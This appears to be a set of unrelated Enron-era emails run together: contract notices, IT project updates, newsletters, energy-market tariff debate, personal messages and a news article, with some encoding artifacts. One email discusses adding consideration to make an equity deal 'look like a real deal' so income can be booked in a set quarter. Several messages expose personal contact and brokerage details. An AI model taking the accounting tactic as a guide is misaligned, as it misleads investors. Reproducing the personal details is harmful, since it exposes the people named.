We have received the following executed Master Agreement:

Type of Contract: ISDA Master Agreement (Multicurrency-Cross Border)

Effective Date:  December 29, 2000

Enron Entity:  Enron North America Corp.

Counterparty:  Deutsche Bank AG

Transactions Covered: Approved for all products, including FX 
          
Confirming Entity: Deutsche Bank AG

Calculation Agent: Deutsche Bank AG

Governing Law:  New York

Approved Branches For
Deutsche Bank:  Brussels, Frankfurt, London, New York, Paris, Singapore, 
Sydney, Tokyo

Agency Relationship: Deutsche Bank AG may act as Agent for Deutsche Bank 
Securities, if  they are specified as acting in such agency capacity in a 
Confirmation.

PAYMENT NETTING:   Cross transaction payment netting only applies to 
Commodity Transactions.  There is no payment netting for non-commodity 
transactions.  

Reporting Council Kick-off Meeting (EB49c4) 1-4 p.m. for all council 
members.  

Meeting Agenda to include:  
overview of project, 
status update, 
overview of council role, 
specific project deliverables, 
obtain council members' recommendations for the process of:
report identification and prioritization and 
feedback to developers on finished product (feedback loop). 

Advance reading materials for your information:

Project overview attachment and pasted below that is the most recent project 
status. 

Patrick Cagney
07/18/2000 05:27 PM
To: Rod Hayslett/FGT/Enron@ENRON, Kevin Hughes/HOU/EES@EES, Wade 
Stubblefield/HOU/EES@EES
cc: Bobby Mahendra/HOU/EES@EES, Paul Ho/HOU/EES@EES, Mark 
Schmidt/Corp/Enron@ENRON, Michael Sullivan/Corp/Enron@ENRON, John 
Keiser/FGT/Enron@ENRON, Debbie Yates/GPGFIN/Enron@ENRON, Kevin 
Gibson/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Marty Ruehl/Enron 
Communications@Enron Communications, Mark Frank/HOU/ECT@ECT, Mary Lynne 
Ruffer/HOU/ECT@ECT, Dawn Derr/Corp/Enron@ENRON, Richard 
Bragg/Corp/Enron@Enron, Beth Apollo/LON/ECT@ECT, Ingrid Morse/LON/ECT@ECT, 
David J Williams/LON/ECT@ECT, Stephen Wood/LON/ECT@ECT, Don 
Hamilton/HOU/EES@EES, Vivian Hart/HOU/EES@EES 
Subject: SAP Financials Data Warehouse Update 07/18/2000

Below is an update on the SAP-Financials Data Warehouse Project.  Information 
has been divided into five areas: Infrastructure, Software, Rapid Mart 
Configuration, 'People' involved with project, and Training.  

Each area has a status color associated with it indicating how the project is 
done in terms of schedule.  RED represents trouble areas we are addressing, 
YELLOW represents potential slippage we are addressing and Green is for items 
"in good shape".  I am preparing an MS Project file and will publish it later 
this week to illustrate timelines in a graphical format.

I. INFRASTRUCTURE ACQUISITION and PREPARATION: RED

ACTA Application Server (UNIX):  Configured and being tested. 
ACTA Database Server (UNIX):  Received 7/7/2000.  O/S being added, internal 
drives on order (due 7/19), adding of Oracle DB Software will follow.  Target 
date to start Acta install and configuration is 7/26/2000.  
UNIX Database Storage: On order, due 8/9, estimated ready date 8/17.  Sense 
Corp. agrees that we can install and configure ACTA using internal drives 
until Storage arrives.  Not as critical to delivery date since initial Rapid 
Mart configuration can proceed using extra internal storage drives added to 
DB server (item 2 above).  Storage to be ready for install mid-August.
BRIO Broadcast Report and On-Demand Query Application Server (UNIX):  Ordered 
from SUN vendor 7/11/2000. 
Intranet WEB Server (UNIX):  Ordered from SUN vendor 7/11/2000.
Connectivity:  System Requirements forwarded to all technical contacts 
(7/18).  Meeting Thursday (7/20) with all technical groups and Sense Corp. 
consultant to cover ACTA System Requirements Document and ensure everyone 
understands details and can deliver on or before 7/26 target date.
The hardware mentioned in items 1 - 5 above make-up the DEV/QA environment 
for the SAP-Financials Data Warehouse.  The UNIX Infrastructure group 
recommendation is still to hold off ordering the Production environment 
machines.  Two reasons were cited:  
Wait so the performance of the DEV/QA boxes can be tested and determine if 
models originally identified for Production will be sufficient.
Wait to get feedback from customer groups on the value of the Data Warehouse 
deliverable and concept.  Frequently, Data Warehouses catch on quickly with 
the user community and they push to include much more information (in our 
case non-SAP data) into the data warehouse than originally anticipated.  

II. SOFTWARE ACQUISITION:  Green

ACTA software is purchased, in-house and paid for - installation awaits 
database server.
Confirmed that additional funds will not be needed for Oracle database 
software.  Meeting with GSS rep. Laine Borgman, Oracle rep. and NET WORKS 
contact Bob McAuliffe Monday 7/17 confirmed Enron has an enterprise license 
for the Oracle DB package.
BRIO Reporting and Querying software is in-house as free trial license 
through 7/31/00.  Tool has been selected by Enron Company business and IT 
group and is final stages of purchase process.  Target completion date is 
this Wednesday (7/19).  
Initial meeting on BRIO Training Wednesday (7/19) with Tennyson Group.  
Information and issues will be taken to initial Reporting Council meeting 
(7/27).

III. RAPID MART CONFIGURATION (Phase One of Project): YELLOW

ACTA consulting Partner, Sense Corp., is lined up to install ACTA and 
configuration of Rapid Marts.  Their paperwork for IT, HR and A/P is 
currently being completed.  
Received and reviewed Sense Corp. project plan and resource rates.  Project's 
budget can pay for Project Mgr. and two Acta Extraction Developers during 
Phases One and  Two, based on savings experienced on reporting and querying 
tool. 
Schedule is 2-3 weeks per Rapid Mart, if architecture, security and IDs are 
completely prepared prior to Sense Corp. arrival.  This makes best case 
scenario of first Rapid Mart delivery 8/9 -8/16.

IV. PEOPLE: YELLOW

Reporting Council representatives:
Requested in July 7th email to CAOs and cc: to SAP Site Managers.  
12 reps. have been named to-date.  
Kickoff meeting for all members scheduled for 7/27.  Agenda to include 
overview of council role, project objectives, obtain council member's 
recommendations for the process of report identification, prioritization and 
feedback to developers on finished product (feedback loop).
Technical contacts:  
Obtained contacts for all groups UNIX Infrastructure (Mike Barber and Gary 
Law), DBAs (Douglas Cummins), Networking (Keith Dziadek), SAP Technical - 
Database and ABAP (Tracy Terrell).  
Provided each with written System Requirements 7/18/2000.  
Kickoff meeting with Sense Corp. consultant to confirm pre-installation 
checklist on Thursday, July 20th.
SAP Technical Analysts/Developers:
Held meetings with Mark Schmidt and Kathy Kokas regarding SAP/COE resources.
Interviews with recommended resources this week and next.
COE / SAP resources will be charging time to project, whether they are Enron 
employees or contractors.  This was not incorporated in the initial project 
budget and may cause the project to go over budget.  (Specifics will follow 
once resources are confirmed and their rates identified).    
Reporting and Querying Tool Lead and Developers:
Requested a reporting tool lead and developers from initial project companies 
(GPG has 5-6 EDS Developers who are budgeted for SAP ABAP reports and will 
now take BRIO Training. 3-4 additional resources are being requested through 
EES IT Outsourcing Deal to IBM with no additional cost to ENRON or project.  

V. TRAINING:  Green

ACTA TRAINING:
ACTA training will be given for the first 3 days of the ACTA software 
installation.  Up to 8 Enron resources can attend.  This will be scheduled 
shortly, in conjunction with availability of on DEV/QA environment and Acta 
training consultant. Target date 7/26-28.  
Confirm 8 individuals who will support ACTA: Contacts Michael Barber (2?)  
Douglas Cummins (2?) Operations (?) SAP Technical (3?).  
BRIO REPORTING and QUERYING TOOL:
Training classes for 10 BRIO Support Contacts across Enron are included in 
BRIO contract.  Travel expenses to California training site paid by Enron 
(project).
Two additional one-week classes at Enron are included in contract to an 
initial group of "client" and "server" users.  Enron pays consultant travel 
expenses to Houston. 
BRIO / Enron contract provides 100 CBT installations which we can loan 
install, uninstall as users need them.  Which group to administrate (NET 
WORKS Global Help Desk)?
Other training can be purchased directly from BRIO or their outsource 
partner, the Tennyson Group.  Meeting with Tennyson Group on Wednesday 7/20 
for training overview, recommendations, issues, etc.  These items will then 
be brought up at the Reporting Council Kickoff Meeting Scheduled for 7/27.   

As promised by noon, attached is the final version of the contract and GTC's

In addition, attached below are the revised Auction Rules and Auction Trading 
Agreement, which have not been reviewed by Mark Taylor, and accordingly are 
presented subject his review and comment.

FYI Steve Douglas of the tax department has been consulted and there are no 
tax issues which need further resolution.

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(c) Copyright 2001. Morningstar, Inc. All rights reserved.

Liz is an MIT graduate and is currently at Exxon and  very interested in a 
job at Enron.
I would take her in my group but we are neighbors and I don't want to mix 
that with work.  Pat

"Carl & Liz Fortin" <zilrac@email.msn.com> on 03/29/2000 10:32:02 AM
To: <patclynes@enron.com>, <pclynes@enron.com>
cc:  

Subject: resume attached

 - 01-00.doc

Enron opens an office in Japan.  Get the details in eBiz.

Also in this issue:
FERC suggests overhaul for California
ENA's focus on upstream services
Cyber Cafe in Dabhol

It's all in the latest eBiz.  Go to home.enron.com, click Publications, then 
click eBiz, and "eBiz November 3, 2000."

Murray would like everyone to plan to get an early start on the Memorial Day weekend !!   

A pizza lunch will be provided to the floor at 12:00 noon on Friday.    Plan to enjoy lunch and then head home to enjoy the holiday.  

HAPPY MEMORIAL DAY !!

(For those people who submit timesheets to Murray, please have them in by Thursday afternoon.)

Greetings everyone.  I just wanted to thank all of you for coming to the
housewarming party.  It meant a lot that so many of you came from far away
(Seattle and Grants Pass) for me, and helped me welcome in my new home.  I
also wanted to thank those of you were so kind and treated me to present.  I
didn't expect that, but fully loved it.  Thanks again for making it so much
fun.

Oh---I will probably be single by this weekend, so I am thinking we should
party on cinco de Mayo. I am giving Bart the boot. Let me know if something
fun is going on.  Talk to you all soon.

Luvins,
Elizah

Updates
Jennifer Burns - new cell phone number
Kathy McMahon - new executive committee assistant

Start Date: 2/3/02; HourAhead hour: 10;  No ancillary schedules awarded.  No variances detected. 

    LOG MESSAGES:

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002020310.txt

BUSINESS HIGHLIGHTS

Coal Trading
The liquidity in trading of the Standard European Coal Agreement has=20
increased significantly over the last 6 weeks.  Many counterparties that=20
previously opted to stay on the sidelines finally chose to join the game.=
=20
Since the contract's inception at the beginning of the year, Enron has trad=
ed=20
a total of 5.3 million tons against the SECA contract, of which 3.8 million=
=20
tons has been traded via EnronOnline since July 2000.  We are 5.3 million=
=20
tons of a total traded market of 5.8 million tons.

Principal Investments
Tridium Inc., the leading provider of Internet-based automation=20
infrastructure solutions, announced the close of a $20 million round of=20
capital funding. The funds will be used to increase Tridium=01,s sales and=
=20
technical support offices in North America, expand its operations into Euro=
pe=20
and Asia, and enhance its technology and products. kRoad Ventures, L.P. and=
=20
Enron North America each contributed $10 million in venture capital.

Corporate Development
Allegheny Energy Supply Company, LLC, a wholly owned subsidiary of Alleghen=
y=20
Energy, Inc., announced the signing of a definitive agreement under which=
=20
Allegheny Energy Supply will purchase three Enron natural gas-fired merchan=
t=20
generating facilities. The acquisition is expected to close in the 2nd=20
quarter of 2001.

PERFORMANCE REVIEW

The deadline to provide feedback is Friday, November 17.  If you have been=
=20
selected to provide feedback on one of your fellow employees, please take t=
he=20
time to fill out an evaluation online at www.pep.enron.com.

IN THE NEWS

"Enron Corp., already North America's biggest, buyer and seller of natural=
=20
gas and electric power is dead serious about its efforts to capture a big=
=20
slice of the $400 billion global trade in pulp, paper and lumber."
-Reuters News Service

2000 CHAIRMAN=01,S AWARD NOMINEES
Please join us in congratulating the ENA/EIM/EGM/ employees who have been=
=20
recognized as Chairman=01,s award nominees.

Congratulations to:

 Irma Alvarez  Alan Aronowitz  Rick Bergseiker  Carol Coats  Joya Davis =20
Rufino Durante
 Sue Foust  Julie Gomez  Barbara Gray  Jackie Griffith  John Harrison  Gerr=
i=20
Irvine
 Kathy Benedict  Michael Kelley  Mike McConnell  Dave Nommensen Ina Norman =
=20
Juan Padron
 Veronica Parra  Michael Roberts  Rhonda Robinson Kevin Sweeney  Helen=20
Taylor  Stacey White

Extra kudos to BARBARA GRAY, who is a finalist for the 2000 Chairman=01,s=
=20
Award.  Barbara and ten other individuals are flying to San Antonio from=20
around the world to be honored at Enron=01,s annual Management Conference. =
 One=20
of these finalists will be recognized as the 2000 Chairman=01,s Award winne=
r.=20

WELCOME
New Hires ENA/EIM/EGM
ENA =01) Anil Chandy, Alejandra Chavez
EGM =01) Marty Cates, JoAnne Underwood, Brad Miller

Transfers to ENA/EIM/EGM
ENA =01) Mark Wadlington, Jennifer Blay-Smith, Georgian Landau, Kathryn Bus=
sell,=20
John Coleman, Steven Gillespie, Clarissa Garcia, Ina Rangel, Farouk Lalji,=
=20
Eva Rainer, Chuchu Wang, Smith Day
EGM =01) Gloria Solis, Carmella Jones, Nancy Haralson

LEGAL STUFF
The information contained in this newsletter is confidential and proprietar=
y=20
to Enron Corp. and its subsidiaries.  It is intended for internal use only=
=20
and should not be disclosed outside of Enron.

whatever, did you drive today

 -----Original Message-----
From: 	Nelson, Michelle  
Sent:	Monday, November 26, 2001 9:17 AM
To:	Maggi, Mike
Subject:	RE: 

fine goodbye mr. boring sir

From: 	Maggi, Mike  
Sent:	Monday, November 26, 2001 9:16 AM
To:	Nelson, Michelle

im sorry its actually really busy right now

Sent:	Monday, November 26, 2001 9:10 AM
Subject:	

are you going to be boring today?

The ISO (K Robb) circulated the ISO's position on the Def Penalties this
PM. It is attached.

As it stands, what the ISO wants now (or previously wanted) is an issue to
be decided by the BIC. What is now proposed - empowering the ISO to change
the deficiency rates if an adjacent ISO modifies (presumably upward) their
caps - has one large problem: if such an action were taken in the midst of
a Capability Period it would cause all sorts of issues with participant
positions.

Having said that I offer the following:

The FERC staff report strongly indicated that caps would have to exist (if
at all) on a regional basis and at similar levels.

In order to de-list and be free to sell out, a generator must make that
decision for the following month by the 10th of the current month. That is
trading a sure ICAP revenue stream for the increased opportunity to sell
energy at higher prices - even if some disaster befell one of out
neighbors, the amount that can move is limited by the transmission
capability.

What is the likelihood that any of the 3 NE ISOs will be uncapped next
Summer?

The transmission system limits how much energy can flow regardless of price
considerations. NY-NE about 1500Mw and NY-PJM about 2000 Mw (pending return
of the PARs).

BME, if faced with a reserve shortage (or inability to meet load), will
curtail exports to solve that problem.

Jim

(See attached file: Section 5.14 Proposed Tariff language.doc)

rstalter@nyiso.com

11/29/2000 05:49 PM

Please respond to market_relations@nyiso.com

To:   TIE_List_Server@nyiso.com
cc:    (bcc: James E. Scheiderich/NUS)
Subject:  DPS statement re: movement to a one month Obligation Procurement
       Period

rstalter@nyiso.com writes to the NYISO_TECH_EXCHANGE Discussion List:

The following message has been forwarded to the Tech Exchange at the
request of
Steven Keller of the NY PSC:

Statement of the Department of Public Service Staff to the BIC
Regarding Shortening the ICAP Obligation Procurement Period from Six
Months to One Month

The ICAP Working Group has proposed Phase II tariff language that
implements the BIC/MC decisions to implement a monthly ICAP obligation
procurement period (OPP) instead of the current six-month OPP.  It is our
understanding that this proposal is largely supported by incumbent load
serving entities who are currently required to purchase their ICAP six
month's in advance even though they expect to lose load to new entrants
during that period.  The LSE's are concerned that they may lose money
trying to sell unneeded ICAP back into the market.  Staff of the New York
State Department of Public Service (Staff) understands those concerns.

A report by the Brattle Group suggests that the existence of price caps in
New York could lead to capacity migration from New York under a one-month
OPP scenario.  Brattle suggests that under such a system certain
"optimistic" suppliers might choose not to offer to sell their ICAP to NY
if they think they could do better by selling energy into external markets
where they could earn high revenues in high demand month.   If that
happens, even to a limited extent, we believe it will likely result in
increased purchase costs for ICAP purchased both on a bilateral basis and
through the ISO auctions, and could also push up energy prices.

In a subsequent study by KEMA it is suggested that in order to avoid
capacity migration ICAP deficiency charges should be increased as much as
six-fold.  The obvious result would be that all LSE's would be exposed to
significantly higher deficiency charges under a
one-month OPP.  Staff does not view this as an acceptable alternative to
retaining a six-month OPP even with its potential that LSEs may incur a
loss as a result of purchasing ICAP for load they expect to lose.

As of November 29, 2000, the ISO has been unable to estimate the level of
deficiency penalties that would be required to avoid capacity migration
under a one-month OPP.  As a result, the New York State Department of
Public Service has been unable to verify whether the current levels need
to be increased, decreased or left as they are.  Because of concerns about
capacity migration, and because there is very little convincing argument
about the costs/benefits that would result from moving to a one-month ICAP
OPP that cannot at least partially be obtained from the six month OPP with
monthly deficiency auctions, Staff is opposed to such a change at this
time.   Until the ISO and market participants work out how to ensure that
energy and ICAP markets will remain workably competitive even during peak
periods, we believe it is prudent to move cautiously with regard to
shortening the OPP.

 - Section 5.14 Proposed Tariff language.doc

Per a conversation I just had with Saul Laureles, an attorney with 
Chamberlain, Hrdlicka, who has been hired to assist Apache/Shell with the 
assignment of the Fletcher Challenge business.  He said:

Fletcher Challenge would like to assign their petro business to Shell 
Holdings for a short time (like one day or so).  Shell would then immediately 
transfer the agreement/transactions to Apache.  He proposes we get a new 
master in place with Apache, since Apache is a better credit than Fletcher 
Challenge.  He said he will send me some letter showing how he would like to 
do this, along with a draft Apache ISDA (without collateral, of course, since 
Apache is such a good credit).  I told him that I can't speak for Credit, but 
we probably are going to have a big problem on that last point.  We never 
enter into masters without a collateral annex attached.  

I'll keep you posted when I hear from him.

Team,

Will ESAT still be the signatory to the contract as agent for the Brazilian 
Power Development Trust, or will the contract be directly between the Trust 
and GE?

Thanks,

Kay  

please set up.  Mark
----- Forwarded by Mark E Haedicke/HOU/ECT on 03/01/2001 02:26 PM -----

	Brenda Whitehead
	03/01/2001 01:22 PM
		 
		 To: Travis McCullough/HOU/ECT@ECT, Shari Stack/HOU/ECT@ECT, Lisa 
Mellencamp/HOU/ECT@ECT, Mary Cook/HOU/ECT@ECT, Kim S Theriot/HOU/ECT@ECT, 
William  S Bradford/Enron@EnronXGate, Carol St Clair/HOU/ECT@ECT, Angela 
Davis/NA/Enron@Enron, Mark E Haedicke/HOU/ECT@ECT
		 cc: Legal Temp 2/HOU/ECT@ECT, Kaye Ellis/HOU/ECT@ECT, Linda J 
Simmons/HOU/ECT@ECT, Suzanne Adams/HOU/ECT@ECT, Janette Elbertson/HOU/ECT@ECT
		 Subject: PG&E Team

Per the request of Shari Stack and Elizabeth Sager, we are putting together a 
luncheon for the individuals who assisted with the PG&E crisis.  Please let 
me know if you are available for lunch at PESCE from 11:30 am - 1:30 pm on 
either of the following dates:

  Monday, March 26
  Tuesday, March 27
  Thursday, March 29.

Thanks for your cooperation.

Volume won't affect relative profitability.  It just scales the profit or 
loss.  Increasing the number of transactions always results in more profit.  
Increasing volume just makes the numbers bigger.

----Original Message-----
   >From:      Zimin Lu/HOU/ECT
   >To:          Greg Whalley/HOU/ECT@ECT,John J Lavorato/Corp/Enron@Enron
   >Cc:          Vince J Kaminski/HOU/ECT@ECT,Stinson Gibner/HOU/ECT@ECT
   >Bcc:      
   >Subj:      EOL WTI Historical Trade Simulation - more profitable trading 
strategy
   >Sent:     Wednesday, January 03, 2001 3:45 AM
   >
   >Please ignor my previous mail regarding the same issue, which contains 
some typos.
   >
   >
   >
   >Greg and John,
   >
   >I found that by reducing the volume per trade and increasing daily number 
of trades ( keeping the 
   >total volume per day constant), we can be more profitable.  This is 
partially because in a trending market
   >we lose less money by following the market more closely. For example, 
suppose market move from
   >$30 to $35. If per trade volume is 10,000 BBL and the half bid-offer 
spread is $1 for simplicity, we take 5
   > trades of short positions, the total MTM for that day is 
(-5-4-3-2-1)*10,000=-$150,000 and total trading 
   >volume is 50,000 BBL short.  If per trade volume is 50,000 BBL, we take 
one trade, the total MTM is 
   >-5*50,000= -$250,000.   Thus the net difference between the two trading 
strategies is $10,000 for that
   >particular day.
   >
   >Therefore it seems that by reducing per trade volume and increasing the 
number of trades, we can be more
   >profitable as a market maker.  
   >
   >I rerun a scenario that
   >
   ><truncated...>

Dear Mr. LARRY CAMPBELL:

Thank you for your order.

You bought 45 shares of JNPR (Juniper Networks Inc Com) at 136.500000.

ORDER DETAILS:
The tracking number for this order is: B-300-AAZO-4506
Order entered at:                      09:08:51 on 12/05/00
Order processing began at:             09:08:51
Order executed at:                     09:08:52 on 12/05/00

ACCOUNT DETAILS:
Time and Date: 09:08:52 on 12/05/00
Your position in JNPR is 275 shares
Your real cash total is $-17,999.16

You will receive a printed Datek Online confirmation by postal mail, or by 
electronic delivery if you are subscribed to that service.

Questions regarding this transaction? Contact our Customer Support department 
by e-mailing support@datek.com. Please reference the order tracking number.

---------------------- Forwarded by Cynthia Sandherr/Corp/Enron on 04/21/2000 
04:03 PM ---------------------------
   
	From:  Allison Navin                           04/21/2000 02:19 PM
	
To: Cynthia Sandherr/Corp/Enron@ENRON
cc:  

Subject: CQ Weekly article on electricity restructuring

Here's the electronic version of the electricity restructuring article that 
will appear in Monday's CQ Weekly in case you would like to forward (there is 
a hard copy in your box).

CQ WEEKLY - ENERGY 
Apr. 22, 2000 
Page 949 
Pressure Surges to a New High To Legislate Electric> Deregulation
By James C. Benton, CQ Staff 
At the dawn of the year, it seemed Congress would be content to let the 
current session end without moving legislation to encourage further 
deregulation of the nation's $220 billion <electric> market. But developments 
in the past few weeks suggest that groups interested in seeing deregulation, 
as well as the Clinton administration, are building a consensus that will put 
pressure on Congress to move some kind of bill this year.
On April 6, a group called the <Electricity> Restructuring Stakeholders -- 
representing consumers, <electric> generating companies, senior citizens and 
others -- released a set of goals they believe should be included in 
restructuring legislation. The principles include repeal of the Public 
Utility Holding Company Act of 1935 (<PUHCA>) and changes to a 1978 law (PL 
95-617) that required state utility commissions and <utilities> to reform 
their <electric> rates and take other measures to even out daily <electric> 
consumption. (1978 CQ Almanac, p. 639)
The group plans to meet with environmental groups and regulators to identify 
other areas where common ground can be reached, said Joe Nipper, chief 
lobbyist for the American Public Power Association.
A smaller trade group, composed mainly of investor-owned <utilities>, is 
working on its own set of principles.
Energy Secretary Bill Richardson acknowledged the stakeholder progress in an 
April 17 speech to the National Energy Marketers Association, and he urged 
Congress to pass an <electric> restructuring bill.
"Our interstate <electricity> markets are in need of repair," Richardson 
said, adding that <transmission> access and generation capacity are 
decreasing as demand for <electricity> grows. "If Congress fails to act -- 
and act soon -- on restructuring legislation, it will strangle the 
development of competitive <electricity> markets."
The two committee chairmen who will have to spearhead a restructuring plan 
have stated their intent to pass a bill by the end of the 106th Congress. But 
they must navigate past obstacles that include the compressed calendar, 
election-year politics and a general lack of knowledge among their colleagues 
on how to rewrite or repeal <PUHCA>.
On April 27, Senate Energy Chairman Frank H. Murkowski, R-Alaska, will hold 
the last of three hearings on eight <electric> deregulation-related measures.
On the House side, retiring Commerce Committee Chairman Thomas J. Bliley Jr., 
R-Va., has vowed to work toward enacting a bill (HR 2944) to encourage 
further state deregulation of the <electric> utility market. That measure, 
which would effectively allow consumers to buy their power from anyone, not 
just the nearest utility, was approved by the House Commerce Subcommittee on 
Energy and Power on Oct. 27. (CQ Weekly, p. 478; 1999 CQ Weekly, p. 2599)
The bill also would give states the authority to handle their transition to a 
competitive market but contains no deadline, or "date certain," by which 
states would have to restructure.
Moving a Senate Bill
Some are skeptical that the political and practical hurdles can be overcome 
this year. For example, while they have made progress on principles, the key 
negotiators -- representing investor-owned <utilities>; <electric> 
cooperatives; municipal <electric> <utilities>; large <electricity> 
consumers; labor unions, and environmental groups -- still must reach 
consensus on details the legislation should address, as well as the 
legislative language to implement any agreement.
"I think the chances of getting a bill enacted this year are low, not from 
the lack of trying," Nipper said.
The best chance appears to lie in the Senate, where Murkowski's committee is 
considering eight bills. "I am committed to getting something meaningful out 
of my committee," Murkowski said in an April 14 interview. Murkowski 
acknowledged, though, that the congressional schedule and narrow consensus on 
each of the bills pose challenges to his goal -- developing a comprehensive 
deregulation bill, not one that only addresses portions of <electric> 
restructuring.
The path in the House appears more difficult, although one key supporter said 
there is behind-the-scenes movement.
Bliley has promised to hold a markup of HR 2944 before Memorial Day, and he 
has named a task force of six members to help move the bill through committee.
Joe L. Barton, R-Texas, the sponsor of HR 2944, said meetings are taking 
place among Bliley, Republican House staffers and some interested groups. 
"There is some action; it's just not visible," Barton said late last month. 
"I think what's happening there is that [stakeholders are] jockeying for 
position."
Barton said he anticipated that a "fairly good bill" could be moved by the 
middle of May if stakeholders and members come together.
One complication: Democrats, in the midst of the battle to regain control of 
the House, may not move toward a consensus with Republicans. Staff aides for 
several Democratic members have already complained they have not heard from 
the committee staff in trying to work out differences raised in subcommittee.
But others point to a 1992 energy law (PL 102-486) that cleared Congress in 
the weeks before that year's election. It contained provisions allowing <
utilities> and independent producers to compete in the wholesale power 
market; that law has been credited with the current wave of deregulation in 
some markets. So far, 25 states and the District of Columbia have either 
restructured their markets or enacted laws to begin retail competition in 
coming years. (1992 Almanac, p. 231)
Mark Stultz, a spokesman for the <Electric> <Power> Supply Association, a 
group of competitive power suppliers and power marketers, said the 1992 law 
was enacted after the <electric> industry quickly built up a consensus among 
members and educated them on what the bill would do.
"The industry was able to access that in a very short time," Stultz said. As 
far as getting a restructuring bill through this year, Stultz said it is "not 
an impossible, unrealizable goal to assume that we could get consensus," 
since key stakeholders have reached agreement on several issues. They include 
blocking "market power" -- the ability of a few companies to stunt 
competition by effectively using its assets to manipulate the deregulated 
market to its advantage.
While the House bill contains many issues stakeholders agree with, Stultz 
said it also contains some fatal flaws. He cited as an example its lack of 
federal agency jurisdiction over "bundled" services in a regulated market, in 
which <electric> generation, <transmission> and distribution rates are 
combined in an <electric> bill, and "unbundled" services in a deregulated 
market, in which the generation rates are broken apart from <transmission> 
and distribution rates and other temporary charges brought on by deregulation 
are included.
Best Bets in the Senate
Of the eight bills pending in the Senate, Nipper said the one with the best 
chance of passing is S 2071, sponsored by Slade Gorton, R-Wash., which is 
intended to encourage greater <electric> <reliability>. Nipper said the 
Gorton bill would replace the North American <Electric> <Reliability> 
Council, a group in which utility participation is voluntary, with the <
Electric> <Reliability> Organization, a board that would require 
participation by <utilities>. The Federal Energy Regulatory Commission would 
have jurisdiction over the board, as well as the power to enforce its 
policies on <utilities>.
The reliability issue is likely to intensify in coming months, due to 
problems <electric> <utilities> faced each of the past two summers. While 
some plants were undergoing needed maintenance, some <utilities> were caught 
with their generation capacity down during periods of extremely high demand. 
The resulting shortage triggered a spike in bulk <electric> prices, driving 
the price of a megawatt-hour of <electricity> in a few places from $30 to as 
high as $7,000. <Utilities> enforced rotating blackouts on customers, asked 
consumers to reduce <electric> use and passed on surcharges for the higher 
cost of <electricity>.
Hoping to avoid outages this summer, the Department of Energy has scheduled 
four regional "summits" on <electric> <reliability> on April 24 and 28.
Jim Owen, a spokesman for the Edison <Electric> Institute, said a third 
consecutive summer of service interruptions and significant price increases 
could motivate Congress to move on the deregulation bill. "It might push this 
thing up further on the congressional radar screen," although a law enacted 
immediately would not have a quick impact on generation and <transmission> 
reliability, he said.
Other thorny issues include:
? How to handle taxation issues between publicly owned <utilities>, <electric
> cooperatives and municipal <utilities>, and whether <utilities> should 
voluntarily join, or be forced to join, "regional <transmission> 
organizations" designed to allow more efficient transfer of <electricity> 
across the national grid.
? Whether the federal government should be involved in regulating the 
interstate <transmission> of <electric> <power>. Some stakeholders argue 
federal regulation is necessary to prevent one state or region from 
protecting its customers at the expense of others.
? Environmental groups' desire for stronger anti-pollution restrictions on <
utilities> that produce pollutants while generating <electricity>. And labor 
groups, wary that deregulation could trigger massive layoffs through 
corporate mergers and acquisitions, want to make sure their union members are 
protected.

Please read below, it looks as though we have about 4 curves on this list.  
If you set this curve, please fill out the form attached below.  Shout with 
any questions - due date is Thursday a.m.
PL

---------------------- Forwarded by Phillip M Love/HOU/ECT on 04/24/2001 
04:57 PM ---------------------------

Jeffrey C Gossett
04/24/2001 04:44 PM
To: Kam Keiser/HOU/ECT@ECT, David Baumbach/HOU/ECT@ECT, Darron C 
Giron/HOU/ECT@ECT, Phillip M Love/HOU/ECT@ECT, Errol 
McLaughlin/Corp/Enron@ENRON
cc:  
Subject: Gas Curves

Please look over the following and reply to Burtonif you need to add curves.
---------------------- Forwarded by Jeffrey C Gossett/HOU/ECT on 04/24/2001 
04:42 PM ---------------------------
From: Burton McIntyre/ENRON@enronXgate on 04/24/2001 04:38 PM
To: Jeffrey C Gossett/HOU/ECT@ECT
cc: Shona Wilson/NA/Enron@Enron, Chris Abel/HOU/ECT@ECT, Susan D 
Trevino/HOU/ECT@ECT, Frank Hayden/ENRON@enronXgate, Christy 
Lobusch/NA/Enron@Enron, Nancy Hernandez/NA/Enron@ENRON 

Jeff, attached is a file containing gas curves that have been identified as 
being not in the RisktRAC system.  Curves were found to be missing from  the 
Benchmark mapping table and/or the Primary/Secondary curve table.  Curves 
missing from RisktRAC could have a significant impact on positions and V@R.  
Please let us know by Thursday, April 26th, if these curves should be added 
to the RisktRAC system.   For those curves that need to be added to RisktRAC, 
a blank curve request form is also attached. Thank you.

SIncerely,

BM

Please see the attached concerning my remarks to the Addendum of the GISB.

Debra Perlingiere
Enron North America Corp.
1400 Smith Street, EB 3885
Houston, Texas 77002
dperlin@enron.com
Phone 713-853-7658
Fax  713-646-3490

To summarize where we are on the accounting issues related to booking all of the income related to our 12.5% equity investment in Kiodex in Q1:

The 12.5% equity investment has to be a completely separate transaction from the co-marketing arrangement for which we are paid in warrants.

Kiodex cannot clawback or redeem any portion of the 12.5% if Enron walks the co-marketing agreement at any point in the five-year term.  It is ours to keep.

The 12.5% equity investment will be collapsed with the co-marketing deal (and therefore income can only be realized over the five-year term) if there isn't enough consideration for the 12.5% to make it look like a real deal.  Mike Patrick believes that we can get the desired accounting treatment for the 12.5% if we deliver promotional materials to our customers and EnronOnline "statistics" as consideration for the 12.5%.  We have not really spelled out exactly what this consideration is, but I have attached a draft stock purchase agreement in which we have attempted to do so in Section 5.11.

Kiodex wants to close this deal by March 7; we probably can't get the consideration in line by then, but we probably could by the end of the quarter.  Kiodex wasn't crazy about giving us the 12.5% for anything less than the 5-year marketing agreement, and wanted a clawback on the shares even then; they sure won't give us 12.5% for a promise to deliver the consideration by the end of March.  This means we will have to close the deal into escrow, and can get the shares when we deliver the consideration.

Here are the questions for the deal team:

1.	  What can we give to Kiodex before the end of Q1 that supports our 12.5% equity investment.  I can describe the promotional materials, but what "statistics" can we provide that will be valuable to Kiodex?  (Remember that Kiodex will have to feel like they are getting SOMETHING for the 12.5% equity they are giving us, because again, it will be ours to keep regardless of what happens to the co-marketing agreement).

2.	 Whatever we decide to give to Kiodex for the 12.5%, we will have to be able to deliver it IN FULL by the end of Q1; otherwise, we can't get our shares, and we can't book the income.

Here is the stock purchase agreement; I wam working on the language in Section 5.11, but it gives you an idea of what we think we might be able to do.

Travis McCullough
1400 Smith Street EB 3817
Houston Texas 77002
Phone:  (713) 853-1575
Fax: (713) 646-3490      

Attached is the final UCLA Anderson/CERA report.
=01;
Jennifer

